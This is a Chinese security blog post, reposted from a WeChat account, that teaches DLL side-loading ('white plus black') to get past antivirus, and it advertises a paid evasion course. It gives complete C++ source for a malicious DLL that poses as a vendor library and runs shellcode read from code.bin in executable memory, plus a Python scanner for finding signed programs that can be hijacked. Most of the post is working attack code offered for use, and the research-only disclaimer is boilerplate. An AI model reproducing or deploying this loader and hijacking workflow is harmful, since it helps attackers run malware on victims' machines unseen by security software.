白加黑详解

admin 2024年12月29日22:32:50评论36 views字数 7155阅读23分51秒阅读模式

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新83+ PDF文档

加好友备注(星球)!!!

白加黑详解

一些资源的截图:

白加黑详解

白加黑详解

白加黑详解

白加黑这个东西已经不知道被说烂多少回了,每次提到免杀这个话题的时候,大家都会讲白加黑这个东西。

本节话我们来聊聊白加黑这个东西,以及如何快速去挖白加黑。

白加黑顾名思义就是白程序去加一个黑DLL,那么其实白程序的话都是有数字签名的程序且是正常有效的。

类似于如下这张图:

白加黑详解

那么黑DLL其实就是你的恶意DLL,至于你DLL里面写什么这就是你自己的事情了。

我们废话不多说,我给大家把实战中常用的白加黑方式讲出来就行了,至于DLL劫持啊,DLL的搜索顺序啊,自行百度好吧,这一点我觉得没意义,因为很多文章已经说过了。

我们之前都讲过动态链接库吧,我们都知道我们可以去创建一个动态链接库DLL,那么你创建的这个动态链接库DLL其实会给你一个入口函数,也就是DllMain函数,这个DllMain函数我们当时也分析过,他有几个CASE选项对吧,拿第一个来说,如果应用程序将其加载到地址空间之后就会执行。

如下代码示例:

BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

那么现在很多网上的教程都是将你的loader或者shellcode放到dllMain中,然后通过创建线程,指向shellcode内存区域的方式来执行。

这种方式可以吗?可以,没什么问题,但是我们本节课不会去将shellcode或者loader放到DllMain中。

我们再将动态链接库的时候,是不是讲过导出函数对吧。

那么我们可以在DLL中去导出我们想要的函数,然后在应用程序中去通过LoadLibrary和GetProcAddress的方式获取到导出函数的地址,然后调用。

如下图:

白加黑详解

大概图就是上面这样。

也就是说我们只要获取到函数地址之后就可以去调用DLL中的导出函数了。

那么我们思考一下,EXE白程序我们是可控的吗??? 

比如我们自己的应用程序,也就是上面图中的第一块,我们在自己的应用程序中加载了dll1.dll这个模块。

比如说我们自己的应用程序是一个拥有数字签名的白程序,而我们现在只有这个应用从程序,我们不知道他导入了哪些DLL。

那么我们是不是可以通过dumpbin的方式来查看他导出了哪些DLL。

但是我们需要注意的是EXE程序我们是无法更改的,就算更改掉一些资源文件,那么签名也会立即失效的,当时我们已经讲过PE结构了。

它里面是有一个校验值的。

所以现在EXE程序我们无法修改,那么DLL呢?你怎么知道EXE程序加载了那个DLL???那么就如上面所说的通过dumpbin的方式来查看。

那么你知道了DLL的名字之后呢?那他这个DLL中写了什么呢?比如说导出函数??

就好比我们之前的那个应用程序一样,里面去加载dll1.dll,然后使用了dll1.dll中的test导出函数对吧。

那么我们现在只需要知道他导出的这个dll中的导出函数有哪些就可以了,然后我们将其导出函数放到我们的恶意dll中定义,定义之后看这个应用程序调用了那个导出函数,然后你就讲loader或者shellcode放到这个导出函数中就可以了。

首先我们来获取这个exe程序中导入了哪些DLL。

dumpbin /imports xxx.exe
为了做测试我这里去生成一个加载DLL的程序,如下代码:
#include <windows.h>int main() {HMODULE hModule = LoadLibraryA("C:\Users\Administrator\source\repos\Dll1\x64\Debug\Dll1.dll");typedef void (*test)();test MyFunction = (test)GetProcAddress(hModule, "test");MyFunction();return 0;}

但是我们会发现其中是没有我们dll1.dll的,这是为什么呢?这是因为LoadLibrary是动态加载我们dll的,而dumpbin这种方式分析的是静态的依赖。所以我们通过dumpbin是无法获取的。

我们可以查看其他一些文件导入的DLL。

可以看到这里导入了sfe_wscctrl.dll。

白加黑详解

那么我们肯定要排除一些系统默认加载的DLL,比如kernel32.dll,ntdll.dll,这些dll因为是默认加载的所以我们是不需要去管的。

那么我们获取到这些DLL之后呢,是不是要获取到他DLL中的导出函数了。

细心的师傅已经看到了这里有一个SavWscLibInit函数,这个函数就是导出函数,我们只需要去创建一个动态链接库,然后将这个函数定义为导出函数即可。

如下图:

白加黑详解

那么也就是当exe启动的时候,如果调用了SavWscLibInit函数,那么我们这个dll中的这个导出函数就会执行。

需要注意的是讲dll需要命名为sfe_wscctrl.dll。

可以看到成功弹框。

白加黑详解

那么其实我们就可以将Shellcode或者Loader写入到SavWscLibInit函数中了。

比如说我们写一个非常简单的loader。

如下代码:

这是一个将shellcode从文件中读取出来,然后申请一块内存,最后通过指针执行的代码。

  DWORD dwSize;DWORD dwReadSize;HANDLE hFileNew;hFileNew = CreateFile(L"code.bin", GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFileNew == INVALID_HANDLE_VALUE){return 0;}dwSize = GetFileSize(hFileNew, NULL);void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);((void(*)())exec)();return 0;

我们将其代码放到导出函数中。

如下完整代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"extern "C" __declspec(dllexport) int SavWscLibInit() {    DWORD dwSize;    DWORD dwReadSize;    HANDLE hFileNew;    hFileNew = CreateFile(L"code.bin", GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFileNew == INVALID_HANDLE_VALUE)    {        return 0;    }    dwSize = GetFileSize(hFileNew, NULL);    void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);    ((void(*)())exec)();    return 0;}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

那么当exe调用了这个导出函数的时候就会执行我们的loader程序。

我们准备一个calc的shellcode即可。

可以看到当我们执行exe的时候就会加载我们刚才生成的dll,并调用SavWscLibInit导出函数。

而调用SavWscLibInit导出函数将加载我们的code.bin文件。

白加黑详解

接下来我们来看看如何去挖掘。

那么其实如何去挖掘的话,也非常简单,网上很多教程都是让你通过procexp64这个工具去挖的,查找缺少的DLL。

这种方式去挖掘可以吗?可以没什么问题,但是这种效率太慢了。

那么我们其实可以重复我们上面的步骤,比如使用dumpbin.exe 先去获取到导入dll模块的名称,然后查看他的导出函数,最后生成一组代码即可。

其实github上有一款工具是就是遵循这个原理去挖掘的,这里给大家去介绍一下:

如下github地址:

https://github.com/HackerCalico/Unique_DLL_Hijacking_Scan

这个大佬写的这个是没有任何问题的,大家可以去给他点点stars。

但是我把他的代码稍微改了一下:

判断了一下获取到的dll如果开头为API以及结尾为HELP或API直接丢弃掉,然后就是判断导出的dll如果大于1个那么也丢弃掉,因为白加黑只需要一个dll,如果导出来太多dll的话没啥用。

如下修改后的代码:

import osimport reimport sysdef GetPayload(path, exeName):    whiteDLLs = {}    exeFullPath = path + '\' + exeName    # 获取导入表    imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()    # 匹配DLL信息    dlls = re.findall('[S]+.[dllDLL]{3}[sS]+?nn[sS]+?nn', imports)    dllnames = []    for dll in dlls:        if '?' not in dll:            dllName = re.findall('[S]+.[dllDLL]{3}', dll)[0]            dllnames.append(dllName)            print(dllnames)            #print(dllnames)            # 排除微软DLL        if len(dllnames) <= 1:            for i in dllnames:                if i.startswith("api") or i.split('.')[0].endswith("32") or i == "IPHLPAPI.dll" or i.split('.')[0].endswith("API"):                    continue                exist = False                for msDLL in msDLLs:                    if msDLL.lower() == i.lower():                        exist = True                        break                if not exist:                    dllFunctions = re.findall('nn[sS]+', dll)[0]                    dllFunctions = re.findall('[0-9A-F]
展开收缩
([S]+)n', dllFunctions)
                    whiteDLLs[i] = dllFunctions    # 生成Payload    if whiteDLLs:        print(exeFullPath)        # 获取EXE信息        exeSize = os.path.getsize(exeFullPath)        if exeSize > 1048576:            exeSize = str(round(exeSize / 1048576, 2)) + 'MB'        elif exeSize > 1024:            exeSize = str(round(exeSize / 1024, 2)) + 'KB'        else:            exeSize = str(round(exeSize, 2)) + 'B'        sigcheck = os.popen('sigcheck64 "' + exeFullPath + '"').read()        exeMachineType = re.findall('MachineType:
展开收缩
+([S]+)', sigcheck)[0]
        if exeMachineType == '64-bit':            bit = 'x64'        else:            bit = 'x86'        exePublisher = re.findall('Publisher:
展开收缩
+([S]+)', sigcheck)[0]
        if exePublisher == 'n/a':            signature = ''            payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]        else:            signature = '数字签名'            payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]        # 生成导出函数        for dllName, dllFunctions in whiteDLLs.items():            payload += ['n' + dllName]            for dllFunction in dllFunctions:                payload += [                    'extern "C" __declspec(dllexport) int ' + dllFunction + '() {n MessageBoxA(NULL, "' + dllFunction + '",0,0);return 0;n}']        # 写入文件        name = bit + ' ' + exeSize + ' ' + signature + ' ' + exeName        try:            os.mkdir('Payload')        except:            pass        try:            os.mkdir('Payload\' + name)        except:            pass        with open('Payload\' + name + '\' + name + '.txt', 'w') as f:            f.write('n'.join(payload))        os.popen('copy "' + exeFullPath + '" "' + os.getcwd() + '\Payload\' + name + '"')# 遍历目录def Collect(path):    try:        for fileName in os.listdir(path):            if os.path.isfile(path + '\' + fileName):  # 文件                if fileName[-4:] == '.exe':                    GetPayload(path, fileName)  # DLL劫持挖掘            elif os.path.isdir(path + '\' + fileName):  # 文件夹                Collect(path + '\' + fileName)    except:        pass# 获取微软DLLwith open('MS DLL.txt', 'r') as f:    msDLLs = f.read().splitlines()# 收集EXEif len(sys.argv) == 2:    Collect(sys.argv[1])else:    print('Usage: python scan.py "D:\\"')

那么这个工具如何去使用呢?

非常简单,我们只需要将dumpbin.exe,link.exe,sigcheck64.exe放到我们的环境变量就可以了。

那么这个sigcheck64.exe这个文件是做什么的呢?这个文件是用于检测目标文件是否签名。

文件可以去那个大佬的github地址下载哈。

白加黑详解
然后我们就可以去运行了。
python scans.py "C:\
在本目录会生成一个payload的目录。
白加黑详解
我们可以随便去查看一个文件。
白加黑详解
可以看到只会有一个dll文件,而不会有多个dll。
白加黑详解

当我们拿到dll的名字以及导出函数的名称之后,我们就可以去创建一个动态链接库,然后将其导出函数写入到里面,生成之后更改其名字为icuuc74.dll文件即可。

然后双击exe看那个导出函数调用了,之后将loader或shellcode写入到此函数即可使用。

如上就是白加黑常见利用方式和原理以及如何挖掘。

原文始发于微信公众号(Relay学安全):白加黑详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月29日22:32:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   白加黑详解http://cn-sec.com/archives/3567762.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息